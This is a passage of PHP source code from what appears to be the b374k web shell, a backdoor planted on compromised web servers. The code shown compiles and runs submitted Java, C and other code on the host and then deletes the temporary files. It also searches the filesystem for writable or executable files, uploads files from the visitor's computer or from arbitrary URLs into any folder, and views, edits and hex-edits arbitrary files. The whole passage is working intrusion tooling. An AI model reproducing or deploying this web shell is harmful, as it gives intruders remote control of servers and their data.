  1271. $s_res = $s_win ? exe($s_scriptout):exe("chmod +x ".$s_scriptout." ; ./".$s_scriptout);
  1272. rename($s_scriptout, $s_scriptout."del");
  1273. unlink($s_scriptout."del");
  1274. }
  1275. unlink($s_script.".c");
  1276. }
  1277. chdir($s_cwd);
  1278. }
  1279. elseif(strtolower($s_lang)=='java'){
  1280. if(preg_match("/class\ ([^{]+){/i",$s_code, $s_r)){
  1281. $s_classname = trim($s_r[1]);
  1282. $s_script = $s_classname;
  1283. }
  1284. else{
  1285. $s_rand = "b374k_".substr(md5(time().rand(0,100)),0,8);
  1286. $s_script = $s_rand;
  1287. $s_code = "class ".$s_rand." { ".$s_code . " } ";
  1288. }
  1289. chdir($s_tmpdir);
  1290. if(file_put_contents($s_script.".java", $s_code)!==false){
  1291. $s_res = exe("javac ".$s_script.".java");
  1292. if(@is_file($s_script.".class")){
  1293. $s_res .= exe("java ".$s_evaloption." ".$s_script);
  1294. unlink($s_script.".class");
  1295. }
  1296. unlink($s_script.".java");
  1297. }
  1298. chdir($s_pwd);
  1299. }
  1300. }
  1301.  
  1302. $s_lang_available = "&lt;option value='php'&gt;php&lt;/option&gt;";
  1303. $s_selected = "";
  1304. $s_access = array("s_python", "s_perl", "s_ruby", "s_node", "s_nodejs", "s_gcc", "s_javac");
  1305. foreach($s_access as $s){
  1306. if(isset($$s)){
  1307. $s_t = explode("_", $s);
  1308. $s_checked = ($s_lang == $s_t[1])? "selected" : "";
  1309. $s_lang_available .= "&lt;option value='".$s_t[1]."' ".$s_checked."&gt;".$s_t[1]."&lt;/option&gt;";
  1310. }
  1311. }
  1312.  
  1313. $s_evaloptionclass = ($s_lang=="php")? "sembunyi":"";
  1314. $s_e_result = (!empty($s_res))? "&lt;pre id='evalres' class='bt' style='margin:4px 0 0 0;padding:6px 0;' &gt;".hss($s_res)."&lt;/pre&gt;":"";
  1315. $s_result .= "&lt;form action='".$s_self."' method='post'&gt;
  1316. &lt;textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'&gt;".hss($s_code)."&lt;/textarea&gt;
  1317. &lt;table&gt;&lt;tr&gt;&lt;td style='padding:0;'&gt;&lt;p&gt;&lt;input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /&gt;&lt;/p&gt;
  1318. &lt;/td&gt;&lt;td&gt;&lt;select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'&gt;
  1319. ".$s_lang_available."
  1320. &lt;/select&gt;
  1321. &lt;/td&gt;
  1322. &lt;td&gt;&lt;div title='If you want to give additional option to interpreter or compiler, give it here' id='additionaloption' class='".$s_evaloptionclass."'&gt;Additional option&amp;nbsp;&amp;nbsp;&lt;input class='inputz' style='width:400px;' type='text' name='evaloption' value='".hss($s_evaloption)."' id='evaloption' /&gt;&lt;/div&gt;&lt;/td&gt;
  1323. &lt;/tr&gt;
  1324. &lt;/table&gt;
  1325. ".$s_e_result."
  1326. &lt;input type='hidden' name='x' value='eval' /&gt;
  1327. &lt;/form&gt;";
  1328. } // find
  1329. elseif(isset($_GP['find'])){
  1330. $s_p = $_GP['find'];
  1331.  
  1332. $s_type = isset($_GP['type'])? $_GP['type'] : "sfile";
  1333. $s_sfname = (!empty($_GP['sfname']))? $_GP['sfname']:'';
  1334. $s_sdname = (!empty($_GP['sdname']))? $_GP['sdname']:'';
  1335. $s_sfcontain = (!empty($_GP['sfcontain']))? $_GP['sfcontain']:'';
  1336.  
  1337. $s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
  1338. $s_sfnameregex = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;
  1339.  
  1340. if(isset($_GP['sfnameregex'])){ $s_sfnameregex=true; $s_sfnameregexchecked="checked"; }
  1341. if(isset($_GP['sfnameicase'])){ $s_sfnameicase=true; $s_sfnameicasechecked="checked"; }
  1342. if(isset($_GP['sdnameregex'])){ $s_sdnameregex=true; $s_sdnameregexchecked="checked"; }
  1343. if(isset($_GP['sdnameicase'])){ $s_sdnameicase=true; $s_sdnameicasechecked="checked"; }
  1344. if(isset($_GP['sfcontainregex'])){ $s_sfcontainregex=true; $s_sfcontainregexchecked="checked"; }
  1345. if(isset($_GP['sfcontainicase'])){ $s_sfcontainicase=true; $s_sfcontainicasechecked="checked"; }
  1346. if(isset($_GP['swritable'])){ $s_swritable=true; $s_swritablechecked="checked"; }
  1347. if(isset($_GP['sreadable'])){ $s_sreadable=true; $s_sreadablechecked="checked"; }
  1348. if(isset($_GP['sexecutable'])){ $s_sexecutable=true; $s_sexecutablechecked="checked"; }
  1349.  
  1350. $s_sexecb = (function_exists("is_executable"))? "&lt;input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' ".$s_sexecutablechecked." /&gt;&lt;label class='css-label' for='se'&gt;Executable&lt;/span&gt;":"";
  1351.  
  1352. $s_candidate = array();
  1353. if(isset($_GP['sgo'])){
  1354. $s_af = "";
  1355.  
  1356. $s_candidate = getallfiles($s_p);
  1357. if($s_type=='sfile') $s_candidate = @array_filter($s_candidate, "is_file");
  1358. elseif($s_type=='sdir') $s_candidate = @array_filter($s_candidate, "is_dir");
  1359.  
  1360. foreach($s_candidate as $s_a){
  1361. if($s_type=='sdir'){
  1362. if(!empty($s_sdname)){
  1363. if($s_sdnameregex){
  1364. if($s_sdnameicase){if(!preg_match("/".$s_sdname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
  1365. else{if(!preg_match("/".$s_sdname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
  1366. }
  1367. else{
  1368. if($s_sdnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sdname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
  1369. else{if(strpos(basename($s_a), $s_sdname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
  1370. }
  1371. }
  1372. }
  1373. elseif($s_type=='sfile'){
  1374. if(!empty($s_sfname)){
  1375. if($s_sfnameregex){
  1376. if($s_sfnameicase){if(!preg_match("/".$s_sfname."/i", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
  1377. else{if(!preg_match("/".$s_sfname."/", basename($s_a))) $s_candidate = array_diff($s_candidate, array($s_a));}
  1378. }
  1379. else{
  1380. if($s_sfnameicase){if(strpos(strtolower(basename($s_a)), strtolower($s_sfname))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
  1381. else{if(strpos(basename($s_a), $s_sfname)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
  1382. }
  1383. }
  1384. if(!empty($s_sfcontain)){
  1385. $s_sffcontent = @fgc($s_a);
  1386. if($s_sfcontainregex){
  1387. if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
  1388. else{if(!preg_match("/".$s_sfcontain."/", $s_sffcontent)) $s_candidate = array_diff($s_candidate, array($s_a));}
  1389. }
  1390. else{
  1391. if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent), strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate, array($s_a));}
  1392. else{if(strpos($s_sffcontent, $s_sfcontain)===false) $s_candidate = array_diff($s_candidate, array($s_a));}
  1393. }
  1394. }
  1395. }
  1396. }
  1397. }
  1398.  
  1399. $s_f_result = ""; $s_link="";
  1400. foreach($s_candidate as $s_c){
  1401. $s_c = trim($s_c);
  1402. if($s_swritable &amp;&amp; !@is_writable($s_c)) continue;
  1403. if($s_sreadable &amp;&amp; !@is_readable($s_c)) continue;
  1404. if($s_sexecutable &amp;&amp; !@is_executable($s_c)) continue;
  1405.  
  1406. if($s_type=="sfile") $s_link = $s_self."view=".pl($s_c);
  1407. elseif($s_type=="sdir") $s_link = $s_self."view=".pl(cp($s_c));
  1408. $s_f_result .= "&lt;p class='notif' ondblclick=\"return go('".adds($s_link)."',event);\"&gt;&lt;a href='".$s_link."'&gt;".$s_c."&lt;/a&gt;&lt;/p&gt;";
  1409. }
  1410.  
  1411. $s_tsdir = ($s_type=="sdir")? "selected":"";
  1412. $s_tsfile = ($s_type=="sfile")? "selected":"";
  1413.  
  1414. if(!@is_dir($s_p)) $s_result .= notif("Cannot find the path specified ".$s_p);
  1415.  
  1416. $s_result .= "&lt;form action='".$s_self."' method='post'&gt;
  1417. &lt;div class='mybox'&gt;&lt;h2&gt;Find&lt;/h2&gt;
  1418. &lt;table class='myboxtbl'&gt;
  1419. &lt;tr&gt;&lt;td style='width:140px;'&gt;Search in&lt;/td&gt;
  1420. &lt;td colspan='2'&gt;&lt;input style='width:100%;' value='".hss($s_p)."' class='inputz' type='text' name='find' /&gt;&lt;/td&gt;&lt;/tr&gt;
  1421. &lt;tr onclick=\"findtype('sdir');\"&gt;
  1422. &lt;td&gt;Dirname contains&lt;/td&gt;
  1423. &lt;td style='width:400px;'&gt;&lt;input class='inputz' style='width:100%;' type='text' name='sdname' value='".hss($s_sdname)."' /&gt;&lt;/td&gt;
  1424. &lt;td&gt;
  1425. &lt;input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' ".$s_sdnameregexchecked." /&gt;&lt;label class='css-label' for='sdn'&gt;Regex (pcre)&lt;/label&gt;
  1426. &lt;input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' ".$s_sdnameicasechecked." /&gt;&lt;label class='css-label' for='sdi'&gt;Case Insensitive&lt;/label&gt;
  1427. &lt;/td&gt;
  1428. &lt;/tr&gt;
  1429. &lt;tr onclick=\"findtype('sfile');\"&gt;
  1430. &lt;td&gt;Filename contains&lt;/td&gt;
  1431. &lt;td style='width:400px;'&gt;&lt;input class='inputz' style='width:100%;' type='text' name='sfname' value='".hss($s_sfname)."' /&gt;&lt;/td&gt;
  1432. &lt;td&gt;
  1433. &lt;input type='checkbox' class='css-checkbox' name='sfnameregex' id='sfn' ".$s_sfnameregexchecked." /&gt;&lt;label class='css-label' for='sfn'&gt;Regex (pcre)&lt;/label&gt;
  1434. &lt;input type='checkbox' class='css-checkbox' name='sfnameicase' id='sfi' ".$s_sfnameicasechecked." /&gt;&lt;label class='css-label' for='sfi'&gt;Case Insensitive&lt;/label&gt;
  1435. &lt;/td&gt;
  1436. &lt;/tr&gt;
  1437. &lt;tr onclick=\"findtype('sfile');\"&gt;
  1438. &lt;td&gt;File contains&lt;/td&gt;
  1439. &lt;td style='width:400px;'&gt;&lt;input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".hss($s_sfcontain)."' /&gt;&lt;/td&gt;
  1440. &lt;td&gt;
  1441. &lt;input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' ".$s_sfcontainregexchecked." /&gt;&lt;label class='css-label' for='sff'&gt;Regex (pcre)&lt;/label&gt;
  1442. &lt;input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' ".$s_sfcontainicasechecked." /&gt;&lt;label class='css-label' for='sffi'&gt;Case Insensitive&lt;/label&gt;
  1443. &lt;/td&gt;
  1444. &lt;/tr&gt;
  1445. &lt;tr&gt;
  1446. &lt;td&gt;Permissions&lt;/td&gt;
  1447. &lt;td colspan='2'&gt;
  1448. &lt;input type='checkbox' class='css-checkbox' name='swritable' id='sw' ".$s_swritablechecked." /&gt;&lt;label class='css-label' for='sw'&gt;Writable&lt;/label&gt;
  1449. &lt;input type='checkbox' class='css-checkbox' name='sreadable' id='sr' ".$s_sreadablechecked." /&gt;&lt;label class='css-label' for='sr'&gt;Readable&lt;/label&gt;
  1450. ".$s_sexecb."
  1451. &lt;/td&gt;
  1452. &lt;/tr&gt;
  1453. &lt;tr&gt;&lt;td&gt;
  1454. &lt;input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:0;' /&gt;
  1455. &lt;/td&gt;
  1456. &lt;td&gt;
  1457. &lt;select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'&gt;
  1458. &lt;option value='sfile' ".$s_tsfile."&gt;Search file&lt;/option&gt;
  1459. &lt;option value='sdir' ".$s_tsdir."&gt;Search dir&lt;/option&gt;
  1460. &lt;/select&gt;
  1461. &lt;/td&gt;
  1462. &lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
  1463. &lt;/table&gt;
  1464. &lt;/div&gt;
  1465. &lt;/form&gt;
  1466. &lt;div&gt;
  1467. ".$s_f_result."
  1468. &lt;/div&gt;";
  1469. } // upload
  1470. elseif(isset($_GP['x']) &amp;&amp; ($_GP['x']=='upload')){
  1471. $s_result = " ";
  1472. $s_msg = "";
  1473. if(isset($_GP['uploadhd'])){
  1474. $c = count($_FILES['filepath']['name']);
  1475. for($i = 0; $i&lt;$c; $i++){
  1476. $s_fn = $_FILES['filepath']['name'][$i];
  1477. if(empty($s_fn)) continue;
  1478. if(is_uploaded_file($_FILES['filepath']['tmp_name'][$i])){
  1479. $s_p = cp($_GP['savefolder'][$i]);
  1480. if(!@is_dir($s_p)) mkdir($s_p);
  1481. if(isset($_GP['savefilename'][$i]) &amp;&amp; (trim($_GP['savefilename'][$i])!="")) $s_fn = $_GP['savefilename'][$i];
  1482. $s_tm = $_FILES['filepath']['tmp_name'][$i];
  1483. $s_pi = cp($s_p).$s_fn;
  1484. $s_st = @move_uploaded_file($s_tm,$s_pi);
  1485. if($s_st) $s_msg .= notif("File uploaded to &lt;a href='".$s_self."view=".pl($s_pi)."'&gt;".$s_pi."&lt;/a&gt;");
  1486. else $s_msg .= notif("Failed to upload ".$s_fn);
  1487. }
  1488. else $s_msg .= notif("Failed to upload ".$s_fn);
  1489. }
  1490. }
  1491. elseif(isset($_GP['uploadurl'])){
  1492. // function dlfile($s_url,$s_fpath)
  1493. $c = count($_GP['fileurl']);
  1494. for($i = 0; $i&lt;$c; $i++){
  1495. $s_fu = $_GP['fileurl'][$i];
  1496. if(empty($s_fu)) continue;
  1497.  
  1498. $s_p = cp($_GP['savefolderurl'][$i]);
  1499. if(!@is_dir($s_p)) mkdir($s_p);
  1500.  
  1501. $s_fn = basename($s_fu);
  1502. if(isset($_GP['savefilenameurl'][$i]) &amp;&amp; (trim($_GP['savefilenameurl'][$i])!="")) $s_fn = $_GP['savefilenameurl'][$i];
  1503. $s_fp = cp($s_p).$s_fn;
  1504. $s_st = dlfile($s_fu,$s_fp);
  1505. if($s_st) $s_msg .= notif("File uploaded to &lt;a href='".$s_self."view=".pl($s_fp)."'&gt;".$s_fp."&lt;/a&gt;");
  1506. else $s_msg .= notif("Failed to upload ".$s_fn);
  1507. }
  1508. }
  1509. else{
  1510. if(!@is_writable($s_cwd)) $s_msg = notif("Directory ".$s_cwd." is not writable, please change to a writable one");
  1511. }
  1512.  
  1513. if(!empty($s_msg)) $s_result .= $s_msg;
  1514. $s_result .= "
  1515. &lt;form action='".$s_self."' method='post' enctype='multipart/form-data'&gt;
  1516. &lt;div class='mybox'&gt;&lt;h2&gt;&lt;div class='but' onclick='adduploadc();'&gt;+&lt;/div&gt;Upload from computer&lt;/h2&gt;
  1517. &lt;table class='myboxtbl'&gt;
  1518. &lt;tbody id='adduploadc'&gt;
  1519. &lt;tr&gt;&lt;td style='width:140px;'&gt;File&lt;/td&gt;&lt;td&gt;&lt;input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /&gt;&lt;/td&gt;&lt;/tr&gt;
  1520. &lt;tr&gt;&lt;td&gt;Save to&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='".hss($s_cwd)."' /&gt;&lt;/td&gt;&lt;/tr&gt;
  1521. &lt;tr&gt;&lt;td&gt;Filename (optional)&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  1522. &lt;/tbody&gt;
  1523. &lt;tfoot&gt;
  1524. &lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
  1525. &lt;input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /&gt;
  1526. &lt;input type='hidden' name='x' value='upload' /&gt;
  1527. &lt;/td&gt;&lt;/tr&gt;
  1528. &lt;/tfoot&gt;
  1529. &lt;/table&gt;
  1530. &lt;/div&gt;
  1531. &lt;/form&gt;
  1532. &lt;form action='".$s_self."' method='post'&gt;
  1533. &lt;div class='mybox'&gt;&lt;h2&gt;&lt;div class='but' onclick='adduploadi();'&gt;+&lt;/div&gt;Upload from internet&lt;/h2&gt;
  1534. &lt;table class='myboxtbl'&gt;
  1535. &lt;tbody id='adduploadi'&gt;
  1536. &lt;tr&gt;&lt;td style='width:150px;'&gt;File URL&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' /&gt;
  1537. &lt;/td&gt;&lt;/tr&gt;
  1538. &lt;tr&gt;&lt;td&gt;Save to&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='".hss($s_cwd)."' /&gt;&lt;/td&gt;&lt;/tr&gt;
  1539. &lt;tr&gt;&lt;td&gt;Filename (optional)&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  1540. &lt;/tbody&gt;
  1541. &lt;tfoot&gt;
  1542. &lt;tr&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;
  1543. &lt;input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /&gt;
  1544. &lt;input type='hidden' name='x' value='upload' /&gt;
  1545. &lt;/td&gt;&lt;/tr&gt;
  1546. &lt;/table&gt;
  1547. &lt;/div&gt;
  1548. &lt;/form&gt;";
  1549. } // view file
  1550. elseif(isset($_GP['view'])){
  1551. $s_f = $_GP['view'];
  1552. if(isset($s_fnew) &amp;&amp; (trim($s_fnew)!="")) $s_f = $s_fnew;
  1553.  
  1554. $s_owner = "";
  1555. if(@is_file($s_f)){
  1556. $targetdir = dirname($s_f);
  1557. chdir($targetdir);
  1558. $s_cwd = cp(getcwd());
  1559. setcookie("cwd", $s_cwd ,time() + $s_login_time);
  1560.  
  1561. if(!$s_win &amp;&amp; $s_posix){
  1562. $s_name = posix_getpwuid(fileowner($s_f));
  1563. $s_group = posix_getgrgid(filegroup($s_f));
  1564. $s_owner = "&lt;tr&gt;&lt;td&gt;Owner&lt;/td&gt;&lt;td&gt;".$s_name['name']."&lt;span class='gaya'&gt;:&lt;/span&gt;".$s_group['name']."&lt;/td&gt;&lt;/tr&gt;";
  1565. }
  1566. $s_filn = basename($s_f);
  1567. $s_result .= "&lt;table class='viewfile' style='width:100%;'&gt;
  1568. &lt;tr&gt;&lt;td style='width:140px;'&gt;Filename&lt;/td&gt;&lt;td&gt;&lt;span id='".cs($s_filn)."_link'&gt;".$s_f."&lt;/span&gt;
  1569. &lt;div id='".cs($s_filn)."_form' class='sembunyi'&gt;
  1570. &lt;form action='".$s_self."' method='post'&gt;
  1571. &lt;input type='hidden' name='oldname' value='".hss($s_f)."' style='margin:0;padding:0;' /&gt;
  1572. &lt;input type='hidden' name='view' value='".hss($s_f)."' /&gt;
  1573. &lt;input class='inputz' style='width:200px;' type='text' name='rename' value='".hss($s_f)."' /&gt;
  1574. &lt;input class='inputzbut' type='submit' value='rename' /&gt;
  1575. &lt;/form&gt;
  1576. &lt;input class='inputzbut' type='button' value='x' onclick=\"tukar_('".cs($s_filn)."_form','".cs($s_filn)."_link');\" /&gt;
  1577. &lt;/div&gt;
  1578. &lt;/td&gt;&lt;/tr&gt;
  1579. &lt;tr&gt;&lt;td&gt;Size&lt;/td&gt;&lt;td&gt;".gs($s_f)." (".@filesize($s_f).")&lt;/td&gt;&lt;/tr&gt;
  1580. &lt;tr&gt;&lt;td&gt;Permission&lt;/td&gt;&lt;td&gt;".gp($s_f)."&lt;/td&gt;&lt;/tr&gt;
  1581. ".$s_owner."
  1582. &lt;tr&gt;&lt;td&gt;Create time&lt;/td&gt;&lt;td&gt;".@date("d-M-Y H:i:s",filectime($s_f))."&lt;/td&gt;&lt;/tr&gt;
  1583. &lt;tr&gt;&lt;td&gt;Last modified&lt;/td&gt;&lt;td&gt;".@date("d-M-Y H:i:s",filemtime($s_f))."&lt;/td&gt;&lt;/tr&gt;
  1584. &lt;tr&gt;&lt;td&gt;Last accessed&lt;/td&gt;&lt;td&gt;".@date("d-M-Y H:i:s",fileatime($s_f))."&lt;/td&gt;&lt;/tr&gt;
  1585. &lt;tr&gt;&lt;td&gt;Actions&lt;/td&gt;&lt;td&gt;
  1586. &lt;a href='".$s_self."edit=".pl($s_f)."' title='edit'&gt;edit&lt;/a&gt; | &lt;a href='".$s_self."hexedit=".pl($s_f)."' title='edit as hex'&gt;hex&lt;/a&gt; | &lt;a href=\"javascript:tukar_('".cs($s_filn)."_link','".cs($s_filn)."_form');\" title='rename'&gt;ren&lt;/a&gt; | &lt;a href='".$s_self."del=".pl($s_f)."' title='delete'&gt;del&lt;/a&gt; | &lt;a href='".$s_self."dl=".pl($s_f)."'&gt;dl&lt;/a&gt;
  1587. &lt;/td&gt;&lt;/tr&gt;
  1588. &lt;tr&gt;&lt;td&gt;View&lt;/td&gt;&lt;td&gt;
  1589. &lt;a href='".$s_self."view=".pl($s_f)."&amp;type=text"."'&gt;text&lt;/a&gt; | &lt;a href='".$s_self."view=".pl($s_f)."&amp;type=code"."'&gt;code&lt;/a&gt; | &lt;a href='".$s_self."view=".pl($s_f)."&amp;type=image"."'&gt;image&lt;/a&gt; | &lt;a href='".$s_self."view=".pl($s_f)."&amp;type=audio"."'&gt;audio&lt;/a&gt; | &lt;a href='".$s_self."view=".pl($s_f)."&amp;type=video"."'&gt;video&lt;/a&gt;
  1590. &lt;/td&gt;&lt;/tr&gt;
  1591. &lt;/table&gt;";
  1592.  
  1593. $s_t = ""; $s_mime = "";
  1594. $s_mime_list = gzinflate(base64_decode($s_mime_types));
  1595. $s_ext_pos = strrpos($s_f, ".");
  1596. if($s_ext_pos!==false){
  1597. $s_ext = trim(substr($s_f, $s_ext_pos),".");
  1598. if(preg_match("/([^\s]+)\ .*\b".$s_ext."\b.*/i",$s_mime_list,$s_r)){
  1599. $s_mime = $s_r[1];
  1600. }
  1601. }
  1602.  
  1603. $s_iinfo = @getimagesize($s_f);
  1604. if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
  1605. elseif(is_array($s_iinfo)) $s_t = 'image';
  1606. elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));
  1607.  
  1608. if(isset($_GP['type'])) $s_t = $_GP['type'];
  1609.  
  1610. if($s_t=="image"){
  1611. $s_width = (int) $s_iinfo[0];
  1612. $s_height = (int) $s_iinfo[1];
  1613. $s_imginfo = "Image type = ( ".$s_iinfo['mime']." )&lt;br /&gt;
  1614. Image Size = &lt;span class='gaul'&gt;( &lt;/span&gt;".$s_width." x ".$s_height."&lt;span class='gaul'&gt; )&lt;/span&gt;&lt;br /&gt;";
  1615. if($s_width &gt; 800){
  1616. $s_width = 800;
  1617. $s_imglink = "&lt;p&gt;&lt;a href='".$s_self."img=".pl($s_filn)."'&gt;
  1618. &lt;span class='gaul'&gt;[ &lt;/span&gt;view full size&lt;span class='gaul'&gt; ]&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;";
  1619. }
  1620. else $s_imglink = "";
  1621.  
  1622. $s_result .= "&lt;div class='viewfilecontent' style='text-align:center;'&gt;".$s_imglink."
  1623. &lt;img width='".$s_width."' src='".$s_self."img=".pl($s_filn)."' alt='".$s_filn."' style='margin:8px auto;padding:0;border:0;' /&gt;&lt;/div&gt;";
  1624.  
  1625. }
  1626. elseif($s_t=="code"){
  1627. $s_result .= "&lt;div class=\"viewfilecontent\"&gt;";
  1628. $s_file = wordwrap(@fgc($s_f),160,"\n",true);
  1629. $s_buff = highlight_string($s_file,true);
  1630. $s_old = array("0000BB", "000000", "FF8000", "DD0000", "007700");
  1631. $s_new = ($s_theme=="bright")? $s_highlight_bright:$s_highlight_dark;
  1632. $s_buff = str_replace($s_old,$s_new, $s_buff);
  1633. $s_result .= $s_buff;
  1634. $s_result .= "&lt;/div&gt;";
  1635. }
  1636. elseif($s_t=="audio" || $s_t=="video"){
  1637. $s_result .= "&lt;div class='viewfilecontent' style='text-align:center;'&gt;
  1638. &lt;".$s_t." controls&gt;
  1639. &lt;source src='".hss($s_self."dltype=raw&amp;dlpath=".$s_f)."' type='".$s_mime."'&gt;
  1640. &lt;object data='".hss($s_self."dltype=raw&amp;dlpath=".$s_f)."'&gt;
  1641. &lt;embed src='".hss($s_self."dltype=raw&amp;dlpath=".$s_f)."'&gt;
  1642. &lt;/object&gt;
  1643. &lt;/".$s_t."&gt;
  1644. &lt;/div&gt;";
  1645. }
  1646. else {
  1647. $s_result .= "&lt;pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'&gt;";
  1648. $s_result .= str_replace("&lt;", "&amp;lt;",str_replace("&gt;", "&amp;gt;",(wordwrap(@fgc($s_f),160,"\n",true))));
  1649. $s_result .= "&lt;/pre&gt;";
  1650. }
  1651. }
  1652. elseif(@is_dir($s_f)){
  1653. chdir($s_f);
  1654. $s_cwd = cp(getcwd());
  1655. setcookie("cwd", $s_cwd ,time() + $s_login_time);
  1656. $s_result .= showdir($s_cwd);
  1657. }
  1658. else $s_result .= notif("Cannot find the path specified ".$s_f);
  1659.  
  1660. } // edit file
  1661. elseif(isset($_GP['edit'])){
  1662. $s_f = $_GP['edit'];
  1663. $s_fc = ""; $s_fcs = "";
  1664.  
  1665. if(isset($_GP['new']) &amp;&amp; ($_GP['new']=='yes')){
  1666. $s_num = 1;
  1667. if(@is_file($s_f)){
  1668. $s_pos = strrpos($s_f,"_");
  1669. if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
  1670. while(@is_file(substr($s_f,0,$s_pos)."_".$s_num)){
  1671. $s_num++;
  1672. }
  1673. $s_f = substr($s_f,0,$s_pos)."_".$s_num;
  1674. }
  1675. }
  1676. else if(@is_file($s_f)) $s_fc = @fgc($s_f);
  1677.  
  1678. if(isset($_GP['fc'])){
  1679. $s_fc = $_GP['fc'];
  1680. $s_eol = $_GP['eol'];
  1681. $s_eolf = pack("H*", geol($s_fc));
  1682. $s_eolh = pack("H*", $s_eol);
  1683. $s_fc = str_replace($s_eolf, $s_eolh, $s_fc);
  1684.  
  1685. if($s_filez = fopen($s_f,"w")){
  1686. $s_time = @date("d-M-Y H:i:s",time());
  1687. if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
  1688. else $s_fcs = "Failed to save";
  1689. fclose($s_filez);
  1690. }
  1691. else $s_fcs = "Permission denied";
  1692. }
  1693. elseif(@is_file($s_f) &amp;&amp; !@is_writable($s_f)) $s_fcs = "This file is not writable";
  1694.  
  1695. $s_eol = geol($s_fc);
  1696.  
  1697. if(!empty($s_fcs)) $s_result .= notif($s_fcs);
  1698. $s_result .= "&lt;form action='".$s_self."' method='post'&gt;
  1699. &lt;textarea id='fc' name='fc' class='txtarea'&gt;".hss($s_fc)."&lt;/textarea&gt;
  1700. &lt;p style='text-align:center;'&gt;&lt;input type='text' class='inputz' style='width:99%;' name='edit' value='".hss($s_f)."' /&gt;&lt;/p&gt;
  1701. &lt;p&gt;&lt;input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /&gt;&lt;/p&gt;
  1702. &lt;input type='hidden' name='eol' value='".$s_eol."' /&gt;
  1703. &lt;/form&gt;";
  1704.  
  1705. } // hex edit file
  1706. elseif(isset($_GP['hexedit'])){
  1707. $s_f = $_GP['hexedit'];
  1708. $s_fc = ""; $s_fcs = ""; $s_hexes = "";
  1709. $s_lnum = 0;
  1710.  
  1711. if(!empty($_GP['hx']) || !empty($_GP['hxt'])){
  1712. if(!empty($_GP['hx'])){
  1713. foreach($_GP['hx'] as $s_hex) $s_hexes .= str_replace(" ", "", $s_hex);
  1714. }
  1715. elseif(!empty($_GP['hxt'])){
  1716. $s_hexes = trim($_GP['hxt']);
  1717. }
  1718. if($s_filez = fopen($s_f,"w")){
  1719. $s_bins = pack("H*", $s_hexes);
  1720. $s_time = @date("d-M-Y H:i:s", time());
  1721. if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
  1722. else $s_fcs = "Failed to save";
  1723. fclose($s_filez);
  1724. }
  1725. else $s_fcs = "Permission denied";
  1726. }
  1727. else if(@is_file($s_f) &amp;&amp; !@is_writable($s_f)) $s_fcs = "This file is not writable";
  1728.  
  1729. if(!empty($s_fcs)) $s_result .= notif($s_fcs);
  1730.  
  1731. $s_result .= "&lt;form action='".$s_self."' method='post'&gt;&lt;p class='ce mp'&gt;&lt;input type='text' class='inputz' style='width:100%;' name='hexedit' value='".hss($s_f)."' /&gt;&lt;/p&gt;&lt;p class='bb' style='padding:0 0 14px 0;'&gt;&lt;input type='submit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return sh();\" /&gt;&lt;/p&gt;&lt;table class='explore'&gt;";
  1732.  
  1733. if(@is_file($s_f)){
  1734. $s_fp = fopen($s_f, "r");
  1735. if($s_fp) {
  1736. $s_ldump = "";
  1737. $s_counter = 0;
  1738. $s_icounter = 0;
  1739. while(!feof($s_fp)){
  1740. $s_line = fread($s_fp, 32);
